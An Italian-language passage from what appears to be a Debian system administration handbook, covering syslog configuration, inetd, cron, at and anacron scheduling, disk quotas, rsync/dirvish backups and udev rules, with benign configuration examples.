Il selettore è un elenco separato da punti e virgola di coppie sottosistema.priorità (esempio: auth.notice;mail.info). Un asterisco può rappresentare tutti i sottosistemi o tutte le priorità (esempi: *.alert o mail.*). Vari sottosistemi possono essere raggruppati, separandoli con una virgola (esempio: auth,mail.info). La priorità indicata copre anche i messaggi di priorità uguale o superiore: così auth.alert indica i messaggi del sottosistema auth con priorità alert o emerg. Se fatta precedere da un punto esclamativo (!), indica il contrario, in altre parole le priorità strettamente inferiori; auth.!notice, perciò, indica i messaggi emessi da auth con priorità info odebug. Se preceduto da un segno di uguale (=) corrisponde solo ed esclusivamente alla priorità indicata (auth.=notice riguarda solo i messaggi provenienti da auth con priorità notice).

Ogni elemento della lista sul selettore sovrascrive gli elementi precedenti. È così possibile limitare un insieme o escludere alcuni elementi da esso. Per esempio, kern.info;kern.!err significa i messaggi dal kernel con priorità compresa tra info e warn. La priorità none indica l'insieme vuoto (nessuna priorità), e può servire per escludere un sottosistema da un insieme di messaggi. Perciò, *.crit;kern.none indica tutti i messaggi con priorità uguale o superiore a crit che non provengono dal kernel.

9.5.2.2. Sintassi delle azioni

FONDAMENTALE La pipe con nome, una pipe persistente

Una pipe con nome è un particolare tipo di file che funziona come una pipe tradizionale (la pipe che si fa con il simbolo "|" sulla riga di comando), ma tramite un file. Questo meccanismo ha il vantaggio di essere in grado di collegare due processi indipendenti. Qualunque cosa scritta su una pipe con nome blocca il processo che scrive fino a che un altro processo tenta di leggere i dati scritti. Questo secondo processo legge i dati scritti dal primo, che può quindi riprendere l'esecuzione.

Un file di questo tipo viene creato con il comando mkfifo.

Le varie azioni possibili sono:

aggiungere il messaggio ad un file (esempio: /var/log/messages);

inviare il messaggio ad un server syslog remoto (esempio: @log.falcot.com);

inviare il messaggio ad una pipe con nome esistente (esempio: |/dev/xconsole);

inviare il messaggio ad uno o più utenti, se sono connessi (esempio: root,rhertzog);

inviare un messaggio a tutti gli utenti connessi (ad esempio: *);

scrivere il messaggio in una console di testo (ad esempio: /dev/tty8).

SICUREZZA Inoltro dei log

È una buona idea registrare i log più importanti su una macchina separata (magari dedicata a questo scopo), questo per prevenire ogni possibilità che un intruso elimini le tracce della propria intrusione (a meno che, naturalmente, non comprometta anche questo altro server). Inoltre, in caso di un grave problema (come un crash del kernel), si hanno a disposizione i log su un altro computer, il che aumenta le possibilità di determinare la sequenza di eventi che ha causato il crash.

Per accettare messaggi di log inviati da altre macchine, è necessario configurare rsyslog: in pratica, è sufficiente attivare le voci già pronte all'uso in /etc/rsyslog.conf ($ModLoad imudp e $UDPServerRun 514).

9.6. Il super-server inetd

Inetd (spesso chiamato "Internet super-server") è un server di server. Esegue a richiesta i server usati raramente, in modo che debbano essere eseguiti continuamente.

Il file /etc/inetd.conf elenca questi server con le rispettive porte. Il comando inetd rimane in ascolto, quando rileva una connessione verso una qualsiasi di queste porte, esegue il programma server corrispondente.

DEBIAN POLICY Registrare un server in /etc/inetd.conf

I pacchetti spesso vogliono registrare un nuovo server nel file /etc/inetd.conf, ma la Debian Policy vieta a qualsiasi pacchetto di modificare un file di configurazione che non possiede. Per questo motivo è stato creato lo script update-inetd (nel pacchetto omonimo): gestisce il file di configurazione, e gli altri pacchetti possono quindi utilizzarlo per registrare un nuovo server nella configurazione del super-server.

Ogni riga significativa del file /etc/inetd.conf descrive un server attraverso sette campi (separati da spazi):

Il numero della porta TCP o UDP, o il nome del servizio (che viene associato a un numero di porta standard con le informazioni contenute nel file /etc/services).

Il tipo di socket: stream per una connessione TCP, dgram per datagrammi UDP.

Il protocollo: tcp, tcp6, udp o udp6.

Le opzioni: due valori possibili: wait o nowait, per dire a inetd se deve attendere o meno la fine del processo avviato prima di accettare un'altra connessione. Per le connessioni TCP, facilmente usabili in multiplexing, di solito si può usare nowait. Per i programmi che rispondono su UDP, si dovrebbe utilizzare nowait solo se il server è in grado di gestire diverse connessioni in parallelo. È possibile aggiungere a questo campo un suffisso con un punto, seguito dal numero massimo di connessioni autorizzate al minuto (il limite predefinito è 256).

Nome utente con la cui identità verrà eseguito il server. Facoltativamente è possibile aggiungere anche il gruppo tramite la sintassi user.group.

Il percorso completo del programma server da eseguire.

Gli argomenti: si tratta di un elenco completo degli argomenti del programma, compreso il suo stesso nome (argv[0] in C).

L'esempio seguente illustra alcuni casi d'uso dopo aver installato talkd, nullidentd (ident-server) e fingerd:

Esempio 9.1. Estratto dal file /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols. talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd #:INFO: Info services ident stream tcp nowait nobody /usr/sbin/nullidentd nullidentd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

Il programma tcpd viene frequentemente utilizzato nel file /etc/inetd.conf. Consente di limitare le connessioni in entrata mediante l'applicazione di regole di controllo degli accessi, documentate nella pagina di manuale hosts_access(5) e che sono configurate nei file /etc/hosts.allow e /etc/hosts.deny. Una volta determinato che la connessione è autorizzata, tcpd esegue il server reale (come in.fingerd nel nostro esempio). È bene notare che tcpd si basa sul nome con cui è stato invocato (cioè il primo argomento, argv[0]) per identificare l'effettivo programma da eseguire. Perciò non si dovrebbe iniziare la lista degli argomenti con tcpd ma con il programma a cui fare da wrapper.

COMUNITÀ Wietse Venema

Wietse Venema, la cui esperienza in materia di sicurezza lo ha reso un programmatore conosciuto, è l'autore del programma tcpd. Egli è anche il principale artefice di Postfix, il server di posta elettronica modulare (SMTP, Simple Mail Transfer Protocol), progettato per essere più sicuro e più affidabile di sendmail che ha una lunga storia di vulnerabilità di sicurezza. Daremo un'occhiata più ravvicinata a questo server di posta in Sezione 11.1, «Server di posta».

ALTERNATIVA Altri comandi inetd

Sebbene Debian installi in modo predefinito openbsd-inetd, le alternative non mancano: possiamo menzionare inetutils-inetd, rlinetd e xinetd, che forniscono tutti il pacchetto virtuale inet-superserver.

La maggior parte di queste alternative condivide lo stesso file di configurazione /etc/inetd.conf.

Questa ultima incarnazione di un super-server tuttavia offre una sintassi differente e possibilità molto interessanti. In particolare, la sua configurazione può essere suddivisa in più file (memorizzati, naturalmente, nella directory /etc/xinetd.d/), cosa che può rendere la vita più facile ad un amministratore. È considerato essere più potente, ma anche più complesso.

Ultimo ma non meno importante, è possibile emulare il comportamento di inetd con il meccanismo di socket-activation di systemd (vedere la Sezione 9.1.1, «Il sistema di init systemd»).

9.7. Pianificare attività con cron e atd

cron è il demone responsabile dell'esecuzione di comandi schedulati e ricorrenti (ogni ora, ogni giorno, ogni settimana, ecc.). atd si occupa dei comandi da eseguire una sola volta, ma in un determinato momento nel futuro.

In un sistema Unix, molte attività sono pianificate per una esecuzione regolare:

rotazione dei log;

aggiornamento del database per il programma locate;

backup;

script di manutenzione (come ad esempio la pulizia dei file temporanei).

Per impostazione predefinita, tutti gli utenti possono programmare l'esecuzione di attività. Ogni utente ha quindi il proprio crontab in cui può registrare i comandi pianificati. Esso può essere modificato eseguendo crontab -e (il suo contenuto è memorizzato nel file /var/spool/cron/crontab/utente).

SICUREZZA Limitare cron o atd

È possibile limitare l'accesso a crontab creando un file di autorizzazioni esplicite (whitelist) in /etc/cron.allow, in cui si indicano i soli utenti autorizzati a schedulare i comandi. Tutti gli altri saranno automaticamente privati di questa funzionalità. Al contrario, per bloccare solo uno o due utenti problematici, si può scrivere il corrispondente nome utente nel file divieti espliciti (blacklist): /etc/cron.deny. Questa stessa funzionalità è disponibile per atd, con i file /etc/at.allow e /etc/at.deny (anch'essi descritti nelle loro pagine del manuale).

L'utente root ha un proprio crontab, ma può anche utilizzare il file /etc/crontab, o scrivere file crontab supplementari nella directory /etc/cron.d. Queste ultime due soluzioni presentano il vantaggio di essere in grado di specificare l'identità dell'utente da usare quando si esegue il comando.

Il pacchetto cron include in modo predefinito alcuni comandi pianificati che eseguono:

i programmi nella directory /etc/cron.hourly/ una volta ogni ora;

i programmi in /etc/cron.daily/ una volta al giorno;

i programmi in /etc/cron.weekly/ una volta a settimana;

i programmi in /etc/cron.monthly/ una volta al mese.

Molti pacchetti Debian contano su questo servizio: mettendo gli script di manutenzione in queste directory, garantiscono un funzionamento ottimale dei loro servizi.

9.7.1. Formato del file crontab

SUGGERIMENTO Scorciatoie di testo per cron

cron riconosce alcune abbreviazioni che sostituiscono i primi cinque campi in una voce di crontab. Questi corrispondono alle opzioni di pianificazione più classiche:

@yearly: una volta all'anno (1° gennaio alle 00:00);

@monthly: una volta al mese (il 1° del mese, alle 00:00);

@weekly: una volta a settimana (domenica alle 00:00);

@daily: una volta al giorno (alle 00:00);

@hourly: una volta all'ora (all'inizio di ogni ora).

Sono utilizzabili altre abbreviazioni, come @reboot o @midnight.

CASO SPECIFICO cron e l'ora legale

In Debian, cron tiene in considerazione come meglio può il cambiamento di orario (per l'ora legale, o di fatto per qualsiasi cambiamento significativo nell'ora locale). In questo modo, i comandi che avrebbero dovuto essere eseguiti nel corso di un'ora che non è mai esistita (per esempio, le operazioni pianificate alle 2.30 durante il cambio di primavera in Italia, dato che alle 2.00 l'orologio salta direttamente alle 3.00) vengono eseguiti subito dopo il cambio di orario (e quindi intorno alle 3.00 ora legale). D'altra parte, in autunno, quando i comandi verrebbero eseguiti più volte (2.30 ora legale, poi un'ora dopo, alle 2.30 del mattino, ora standard, in quanto alle 3.00 ora legale l'orologio torna alle 2.00), vengono eseguiti solo una volta.

Attenzione, tuttavia, che se l'ordine in cui i diversi compiti previsti e il ritardo tra le rispettive esecuzioni sono importanti, si deve verificare la compatibilità di questi vincoli con il comportamento di cron; se necessario, si può preparare un piano speciale per quelle due notti problematiche all'anno.

Ogni riga significativa di una voce del crontab descrive un comando schedulato con i sei (o sette) seguenti campi:

il valore per il minuto (da 0 a 59);

il valore per l'ora (da 0 a 23);

il valore per il giorno del mese (da 1 a 31);

il valore per il mese (da 1 a 12);

il valore per il giorno della settimana (da 0 a 7, con 1 che corrisponde a lunedì, e domenica che è rappresentata sia da 0 che da 7; è anche possibile utilizzare le prime tre lettere del nome del giorno della settimana in inglese, come Sun, Mon, ecc.);

il nome utente dell'identità con cui deve essere eseguito il comando (nel file /etc/crontab e nei frammenti situati in /etc/cron.d/, ma non nei file crontab degli utenti);

il comando da eseguire (quando le condizioni definite dalle prime cinque colonne sono soddisfatte).

Tutti questi dettagli sono documentati nella pagina di manuale crontab(5).

Ogni valore può anche essere espresso nella forma di un elenco di possibili valori (separati da virgole). La sintassi a-b descrive l'intervallo di tutti i valori tra a e b. La sintassi a-b/c descrive l'intervallo con un incremento c (esempio: 0-10/2 significa 0,2,4,6,8,10). Un asterisco * è un carattere jolly che rappresenta tutti i possibili valori.

Esempio 9.2. Esempio di file crontab di un utente

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # every two hours * */2 * * * $HOME/bin/dosomethingelse # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

SUGGERIMENTO Esecuzione di un comando all'avvio del sistema

Per eseguire un comando una sola volta, subito dopo l'avvio del computer, è possibile utilizzare la macro @reboot (un semplice riavvio di cron non innesca un comando pianificato con @reboot). Questa macro sostituisce i primi cinque campi di una voce crontab.

ALTERNATIVA Emulare cron con systemd

E' possibile emulare parte del comportamento di cron con il meccanismo timer di systemd (vedere la Sezione 9.1.1, «Il sistema di init systemd»).

9.7.2. Utilizzo del comando at

Il comando at esegue un comando in uno specifico momento nel futuro. Basta specificare come parametri della riga di comando la data e l'ora desiderata, e il comando da eseguire nel suo standard input. Il comando verrà eseguito come se fosse stato inserito nella shell corrente. at si preoccupa anche di mantenere l'ambiente attuale, in modo da riprodurre le stesse condizioni quando esegue il comando. L'ora viene indicata seguendo le solite convenzioni: 16:12 o 4:12 PM rappresentano le 16.12. La data può essere specificata in diversi formati europei ed occidentali, che includono GG.MM.AA (27.07.22 rappresenta quindi il 27 luglio 2022), AAAA-MM-GG (questa stessa data è indicata con 2022-07-27), MM/GG/[CC]AA (cioè, 12/25/22 o 12/25/2022 rappresenterà il 25 dicembre 2022), o semplicemente MMGG[CC]AA (in modo che 122522 o 12252022 rappresenteranno, anch'esse, il 25 dicembre 2022). Senza di essa, il comando verrà eseguito non appena l'orologio raggiunge l'ora indicata (lo stesso giorno, o il successivo se quell'ora è già passata durante lo stesso giorno). Si può anche semplicemente scrivere "today"" (oggi) o "tomorrow" (domani) che è autoesplicativo.

$ at 09:00 27.07.22 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 1 at Wed Jul 27 09:00:00 2022

Una sintassi alternativa rimanda l'esecuzione per un determinato periodo: at now + numero periodo. periodo può essere minutes, hours, days o weeks. numero indica semplicemente il numero di dette unità che devono trascorrere prima dell'esecuzione del comando.

Per annullare un'operazione pianificata in cron, è sufficiente eseguire crontab -e ed eliminare la riga corrispondente nel file crontab. Per le attività at, è quasi altrettanto facile: eseguire atrm numero-attività. Il numero dell'attività è indicato dal comando at quando la si pianifica, ma è possibile ritrovarlo con il comando atq, che mostra l'attuale elenco di operazioni pianificate.

9.8. Pianificazione di attività asincrone: anacron

anacron è il demone che completa cron per i computer che non sono sempre accesi. Dal momento che le attività normali sono di solito programmate per la metà della notte, non saranno mai eseguite se il computer è spento in quel momento. Lo scopo di anacron è quello di eseguirle, tenendo conto dei periodi in cui il computer non funziona.

Da notare che anacron molto spesso esegue le attività pochi minuti dopo l'avvio della macchina, il che può rendere il computer meno reattivo. Ecco perché i compiti nel file /etc/anacrontab vengono avviati con il comando nice, che riduce la priorità di esecuzione e limita così il loro impatto sul resto del sistema. Attenzione al fatto che il formato del file non è lo stesso di /etc/crontab; se si hanno esigenze particolari per anacron, consultare la pagina di manuale anacrontab(5).

FONDAMENTALE Priorità e nice

I sistemi Unix (e quindi Linux) sono sistemi multi-tasking e multi-utente. Infatti, più processi possono essere eseguiti in parallelo, ed essere di proprietà di diversi utenti: il kernel media l'accesso alle risorse tra i diversi processi. Come parte di questo compito, ha un concetto di priorità, che consente di favorire certi processi rispetto ad altri, secondo le necessità. Quando si sa che un processo può essere eseguito a bassa priorità, è possibile indicarlo eseguendolo con nice programma. Il programma avrà quindi una quota minore della CPU e avrà un minore impatto su altri processi in esecuzione. Naturalmente, se nessun altro processo deve essere eseguito, il programma non verrà artificialmente rallentato.

nice lavora con "livelli di nice": i livelli positivi (da 1 a 19) diminuiscono progressivamente la priorità, mentre i livelli negativi (da -1 a -20) la aumentano, ma solo root può usare questi livelli negativi. Salvo diversa indicazione (si veda la pagina di manuale nice(1)), nice aumenta il livello corrente di 10.

Se ci si accorge che un compito già in esecuzione avrebbe dovuto essere avviato con nice non è troppo tardi per risolvere il problema: il comando renice modifica la priorità di un processo già in esecuzione, in entrambe le direzioni (ma ridurre il "livello di nice" di un processo è riservato all'utente root).

L'installazione del pacchetto anacron disattiva tramite cron l'esecuzione degli script nelle directory /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ e /etc/cron.monthly/. Questo evita la loro doppia esecuzione tramite anacron e cron. Il comando cron rimane attivo e continuerà a gestire le altre attività programmate (in particolare quelle pianificate dagli utenti).

9.9. Quote

Il sistema delle quote permette di limitare lo spazio su disco assegnato a un utente o a un gruppo di utenti. Per configurarlo, è necessario disporre di un kernel che lo supporti (compilato con l'opzione CONFIG_QUOTA) — come è nel caso dei kernel di Debian. Il software di gestione delle quote si trova nel pacchetto Debian quota.

Per attivare le quote in un file system, è necessario indicare le opzioni usrquota e grpquota in /etc/fstab per le quote di utenti e gruppi, rispettivamente. Riavviare il computer quindi aggiornerà le quote in assenza di attività del disco (una condizione necessaria per un'adeguata contabilità dello spazio su disco già utilizzato).

Il comando edquota utente (o edquota -g gruppo) consente di modificare i limiti mentre si controlla l'utilizzo attuale dello spazio su disco.

APPROFONDIMENTO Definire le quote con uno script

Il programma setquota può essere utilizzato in uno script per cambiare automaticamente numerose quote. La sua pagina di manuale setquota(8) descrive la sintassi da utilizzare.

Il sistema delle quote consente di impostare quattro limiti:

due limiti (chiamati "soft" e "hard") si riferiscono al numero di blocchi consumati. Se il filesystem è stato creato con una dimensione dei blocchi di 1 kibibyte, i 1024 byte disponibili per ogni blocco possono essere assegnati soltanto ad un file. Blocchi non saturi portano quindi a perdite di spazio su disco. Una quota di 100 blocchi, che permette teoricamente la memorizzazione di 102.400 byte, sarà, comunque, saturata con soli 100 file di 500 byte ciascuno, che rappresentano solo 50.000 byte in totale.

due limiti ("soft" e "hard") si riferiscono al numero di inode utilizzati. Ogni file occupa almeno un inode per memorizzare le informazioni che lo riguardano (permessi, proprietario, marca temporale dell'ultimo accesso, ecc.). Si tratta quindi di un limite al numero di file utente.

Un limite "soft" può essere temporaneamente superato, l'utente sarà semplicemente avvertito che sta superando la quota dal comando warnquota, che di solito è invocato da cron. Un limite "hard" non può mai essere superato: il sistema rifiuterà qualsiasi operazione che causerebbe il superamento della quota.

VOCABOLARIO Blocchi e inode

Il file system divide il disco rigido in blocchi: piccole aree contigue. La dimensione di questi blocchi è definita durante la creazione del file system, e varia generalmente tra 1 e 8 kibibyte.

Un blocco può essere utilizzato per memorizzare i dati reali di un file, o per i meta-dati utilizzati dal file system. Tra questi metadati, in particolare ci sono gli inode. Un inode utilizza un blocco sul disco rigido (ma questo blocco non è preso in considerazione per la quota dei blocchi, ma solo per la quota degli inode), e contiene sia le informazioni sul file a cui corrisponde (nome, proprietario, permessi, ecc.) sia i puntatori ai blocchi di dati che vengono effettivamente utilizzati. Per i file molto grandi che occupano un numero di blocchi più alto di quella a cui è possibile fare riferimento in un singolo inode, esiste un sistema di blocchi indiretto; l'inode fa riferimento ad un elenco di blocchi che non contengono direttamente i dati, ma un altro elenco di blocchi.

Con il comando edquota -t, è possibile definire un "periodo di grazia" massimo autorizzato in cui un limite soft può essere superato. Dopo questo periodo, il limite soft verrà trattato come un limite rigido ("hard"), e l'utente dovrà ridurre l'utilizzo dello spazio su disco entro questo limite per poter scrivere altro sul disco rigido.

APPROFONDIMENTO Impostazione di una quota predefinita per i nuovi utenti

Per configurare automaticamente una quota per i nuovi utenti, è necessario configurare un modello di utente (con edquota o setquota) ed indicare il loro nome utente nella variabile QUOTAUSER del file /etc/adduser.conf. Questa configurazione della quota verrà applicata automaticamente ad ogni nuovo utente creato con il comando adduser.

9.10. Backup

Fare copie di backup è uno dei compiti principali di ogni amministratore, ma rappresenta un argomento complesso, che coinvolge potenti strumenti che sono spesso difficili da padroneggiare.

Esistono molti programmi, come amanda, bacula e BackupPC. Sono sistemi client/server con molte opzioni, la cui configurazione è piuttosto difficile. Alcuni di essi forniscono interfacce web facili da usare per mitigare il problema. Per un uso non aziendale, gli amministratori potrebbero dare un'occhiata a rsnapshot o rdiff-backup. È possibile creare facilmente dei backup di filesystem con timeshift, fsarchiver, duplicity o persino dd.

Debian contiene dozzine di altri software di backup che coprono tutte le possibili casistiche, come si può facilmente confermare con apt-cache search backup.

Invece di descriverne in dettaglio alcuni, questa sezione esporrà i pensieri degli amministratori della Falcot Corp quando definirono la loro strategia di backup.

Nella Falcot Corp, i backup hanno due obiettivi: recuperare i file erroneamente cancellati e ripristinare rapidamente qualsiasi computer (server o desktop), il cui disco rigido è venuto meno.

9.10.1. Backup con rsync

Dato che i backup su nastro sono stati ritenuti troppo lenti e costosi, il backup dei dati viene fatto su hard disk su un server dedicato, in cui l'uso di RAID software (vedere la Sezione 12.1.1, «RAID software») proteggerà i dati da guasti del disco rigido. I backup dei computer desktop non vengono fatti singolarmente, ma gli utenti sono avvisati che verrà eseguito il backup del loro account personale sul file server del proprio dipartimento. Il comando rsync (dal pacchetto omonimo) viene utilizzato quotidianamente per eseguire il backup di questi server diversi.

FONDAMENTALE Il link hard, un secondo nome per il file

Un collegamento fisico, al contrario di un collegamento simbolico, non può essere distinto dal file collegato. La creazione di un collegamento fisico essenzialmente equivale a dare ad un file esistente un secondo nome. Ecco perché la rimozione di un collegamento fisico rimuove solo uno dei nomi associati al file. Finché un altro nome è ancora assegnato al file, i dati in esso rimangono presenti sul file system. È interessante notare che, a differenza di una copia, il collegamento fisico non occupa spazio aggiuntivo sul disco rigido.

Un collegamento fisico viene creato con il comando ln obiettivo collegamento. Il file collegamento è quindi un nuovo nome per il file obiettivo. I collegamenti fisici possono essere creati solo sullo stesso file system, mentre i collegamenti simbolici non sono soggetti a questa limitazione.

Lo spazio disponibile sul disco fisso vieta l'attuazione di un backup completo ogni giorno. Pertanto, il comando rsync è preceduto da una duplicazione del contenuto del backup precedente con collegamenti fisici, il che impedisce l'utilizzo eccessivo di spazio su disco. Il processo rsync quindi sostituisce solo i file che sono stati modificati dall'ultimo backup. Con questo meccanismo un gran numero di backup può essere mantenuto in una piccola quantità di spazio. Dal momento che tutti i backup sono immediatamente disponibili e accessibili (per esempio, in diverse directory di una determinata condivisione della rete), è possibile fare rapidamente paragoni tra due date.

Questo meccanismo di backup viene facilmente implementato con il programma dirvish. Utilizza uno spazio di archiviazione di backup ("banca" nel suo vocabolario), in cui colloca copie con l'indicazione della data di insiemi di file di backup (questi insiemi sono chiamati "casseforti" ("vault") nella documentazione di dirvish).

La configurazione principale è nel file /etc/dirvish/master.conf. Esso definisce la posizione dello spazio di archiviazione di backup, l'elenco delle "casseforti" da gestire, ed i valori predefiniti per la scadenza dei backup. Il resto della configurazione si trova nel file banca/cassaforte/dirvish/default.conf e contiene una configurazione specifica per il corrispondente insieme di file.

Esempio 9.3. Il file /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

L'impostazione bank indica la directory in cui sono memorizzati i backup. L'impostazione exclude consente di indicare i file (o i tipi di file) da escludere dal backup. Runall è un elenco di insiemi di file di cui fare il backup, ciascuno con una marcatura temporale che permette di assegnare la data corretta alla copia nel caso in cui il backup non venga avviato precisamente al tempo stabilito. Si deve indicare una data appena precedente all'effettiva ora di esecuzione (secondo il contenuto di /etc/cron.d/dirvish). Da ultimo, le impostazioni expire-default e expire-rule definiscono la politica di scadenza per i backup. Nell'esempio precedente vengono conservati per sempre i backup che sono generati la prima domenica di ogni trimestre, quelli della prima domenica di ogni mese sono cancellati dopo un anno e quelli delle altre domeniche dopo 3 mesi. Gli altri backup giornalieri sono conservati per 15 giorni. L'ordine in cui sono scritte le regole non ha importanza, Dirvish usa l'ultima regola corrispondente, o expire-default se nessuna altra regola expire-rule corrisponde.

IN PRATICA Scadenza programmata

Le regole di scadenza non vengono utilizzate da dirvish-expire per fare il suo lavoro. In realtà, le regole di scadenza vengono applicate quando si crea una nuova copia di backup per definire la data di scadenza associata a quella copia. dirvish-expire analizza semplicemente le copie memorizzate ed elimina quelle per le quali la data di scadenza è trascorsa.

Esempio 9.4. Il file /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

L'esempio precedente specifica l'insieme di file di cui eseguire il backup: questi sono i file sulla macchina rivendell.falcot.com (per il backup locale dei dati, è sufficiente specificare il nome della macchina locale come indicato da hostname), in particolare quelli nell'albero radice (tree: /), eccetto quelli elencati in exclude. Il backup sarà limitato ai contenuti di un file system (xdev: 1). Non include i file da altri punti di mount. Sarà generato un indice dei file salvati (index: gzip), e il nome dell'immagine sarà creato in base alla data corrente (image-default: %Y%m%d).

Ci sono molte opzioni disponibili, tutte documentate nella pagina di manuale dirvish.conf(5). Una volta che questi file di configurazione sono impostati, è necessario inizializzare ogni insieme di file con il comando dirvish --vault cassaforte --init. Da quel momento in poi l'invocazione quotidiana di dirvish-runall creerà automaticamente una nuova copia di backup subito dopo aver cancellato quelle scadute.

IN PRATICA Backup remoto tramite SSH

Quando dirvish ha bisogno di salvare i dati in un computer remoto, utilizzerà ssh per connettersi ed avvierà rsync come server. Questo richiede che l'utente root sia in grado di connettersi automaticamente. L'utilizzo di una chiave di autenticazione SSH consente appunto questo (vedere la Sezione 9.2.1.1, «Autenticazione basata su chiave»).

9.10.2. ﻿Ripristino di macchine senza backup

I computer desktop, sui quali non è fatto il backup, si potranno reinstallare facilmente da DVD-ROM o chiavette USB personalizzati preparati con simple-cdd (vedere Sezione 12.3.3, «Simple-CDD: la soluzione completa»). Dato che quest'operazione effettua un'installazione da zero, viene persa ogni personalizzazione eventualmente fatta dopo la prima installazione. Ciò non è un problema, dato che i sistemi sono tutti agganciati ad una directory LDAP centralizzata per gli account e la maggior parte delle applicazioni desktop è preconfigurata grazie a dconf (per ulteriori informazioni su questo tema vedere Sezione 13.3.1, «GNOME»).

Gli amministratori della Falcot Corp sono consapevoli dei limiti della loro politica di backup. Dal momento che non possono proteggere il server di backup così efficacemente come un nastro in una cassetta di sicurezza a prova di fuoco, l'hanno installato in una stanza separata in modo che un disastro come un incendio nella stanza del server non distruggerà i backup insieme a tutto il resto. Inoltre, ne fanno un backup incrementale su DVD-ROM, una volta a settimana: vengono inclusi solo quei file che sono stati modificati dopo l'ultimo backup.

APPROFONDIMENTO Backup dei servizi SQL e LDAP

Per molti servizi (ad esempio i database SQL o LDAP) non è possibile fare il backup semplicemente copiando i loro file (a meno che non siano interrotti correttamente durante la creazione dei backup, il che è spesso problematico, in quanto sono destinati ad essere disponibili in qualsiasi momento). Perciò, è necessario utilizzare un meccanismo di "esportazione" per creare un "dump dei dati" di cui si può tranquillamente fare il backup. Si tratta spesso di file di grandi dimensioni, ma si comprimono bene. Per ridurre lo spazio di archiviazione necessario, è consigliato salvare un file di testo completo a settimana, e un diff ogni giorno, creato con un comando del tipo diff file_di_ieri file_di_oggi. Il programma xdelta produce differenze incrementali da dump binari.

CULTURA TAR, lo standard per i backup su nastro

Storicamente, il mezzo più semplice per fare un backup in Unix era quello di memorizzare un archivio TAR su un nastro. Il comando tar ha preso il suo nome da "Tape ARchive" (archivio su nastro).

9.11. Collegamento a caldo: hotplug

9.11.1. Premessa

Il sottosistema hotplug del kernel gestisce dinamicamente l'aggiunta e la rimozione dei dispositivi, caricando i driver appropriati e creando i corrispondenti file del dispositivo (con l'aiuto di udevd). Con l'hardware moderno e la virtualizzazione, quasi tutto può essere inserito "a caldo": dalle comuni periferiche USB/PCMCIA/IEEE 1394 ai dischi fissi SATA, ma anche la CPU e la memoria.

Il kernel ha un database che associa ogni ID di dispositivo con il driver richiesto. Questo database viene utilizzato durante l'avvio per caricare tutti i driver per le periferiche rilevate sui diversi bus, ma anche quando viene aggiunto un dispositivo supplementare collegato a caldo. Una volta che il dispositivo è pronto all'uso, viene inviato un messaggio a udevd che quindi sarà in grado di creare la voce corrispondente in /dev/.

9.11.2. Il problema dei nomi

Prima della comparsa dei collegamenti a caldo, era facile assegnare un nome fisso ad un dispositivo. Esso era basato semplicemente sulla posizione dei dispositivi sui loro rispettivi bus. Ma questo non è possibile quando tali dispositivi possono andare e venire sul bus. Il caso tipico è l'uso di una macchina fotografica digitale e una chiave USB che appaiono entrambe al computer come unità disco. La prima ad essere collegata potrebbe essere /dev/sdb e la seconda /dev/sdc (con /dev/sda che rappresenta il disco rigido del computer). Il nome del dispositivo non è fisso, ma dipende dall'ordine in cui sono collegati i dispositivi.

Inoltre, sempre più driver usano valori dinamici per i numeri maggiori/minori di device, il che rende impossibile avere voci statiche per i dispositivi indicati, in quanto tali caratteristiche essenziali possono variare dopo un riavvio.

udev è stato creato proprio per risolvere questo problema.

9.11.3. Come funziona udev

Quando il kernel notifica a udev la comparsa di un nuovo dispositivo, quest'ultimo raccoglie diverse informazioni sul dispositivo dato consultando le voci corrispondenti in /sys/, specialmente quelle che lo identificano in modo univoco (indirizzo MAC di una scheda di rete, numero di serie per alcuni dispositivi USB, ecc.).

Armato di tutte queste informazioni, udev consulta allora tutte le regole contenute in /etc/udev/rules.d/ e /lib/udev/rules.d/. In base a ciò decide quale nome dare al device, quali collegamenti simbolici creare (per avere nomi alternativi), e quali comandi eseguire. Tutti questi file vengono consultati e tutte le regole vengono valutate in sequenza (tranne quando un file utilizza direttive "GOTO"). Così, vi possono essere diverse regole che corrispondono ad un dato evento.

La sintassi dei file delle regole è molto semplice: ogni riga contiene i criteri di selezione e le assegnazioni delle variabili. I primi sono utilizzati per selezionare gli eventi per i quali esiste una necessità di reagire, mentre le seconde definiscono l'azione da eseguire. Sono tutti semplicemente separati da virgole e l'operatore distingue implicitamente tra un criterio di selezione (con operatori di confronto, come == o !=) e una direttiva di assegnazione (con operatori come =, += o :=).

Gli operatori di confronto vengono utilizzati per le seguenti variabili:

KERNEL: il nome che il kernel assegna al device;

ACTION: l'azione corrispondente all'evento ("add" quando un dispositivo è stato aggiunto, "remove" quando è stato rimosso);

DEVPATH: il percorso della voce in /sys/ per il dispositivo;

SUBSYSTEM: il sottosistema del kernel che ha generato la richiesta (ce ne sono molti, ma alcuni esempi sono "usb", "ide", "net", "firmware", ecc.);

ATTR{attributo}: il contenuto del file attributo nella directory /sys/$devpath/ del dispositivo. Qui è possibile trovare l'indirizzo MAC e altri identificatori specifici dei bus;

KERNELS, SUBSYSTEMS e ATTRS{attributi} sono variazioni che cercheranno di soddisfare le diverse opzioni su uno dei dispositivi progenitori del dispositivo di corrente;

PROGRAM: delega il test al programma indicato (true se restituisce 0, false in caso contrario). Il contenuto dello standard output del programma è memorizzato in modo da poter essere riutilizzato dal test RESULT;

RESULT: esegue test sullo standard output memorizzato durante l'ultima chiamata a PROGRAM.

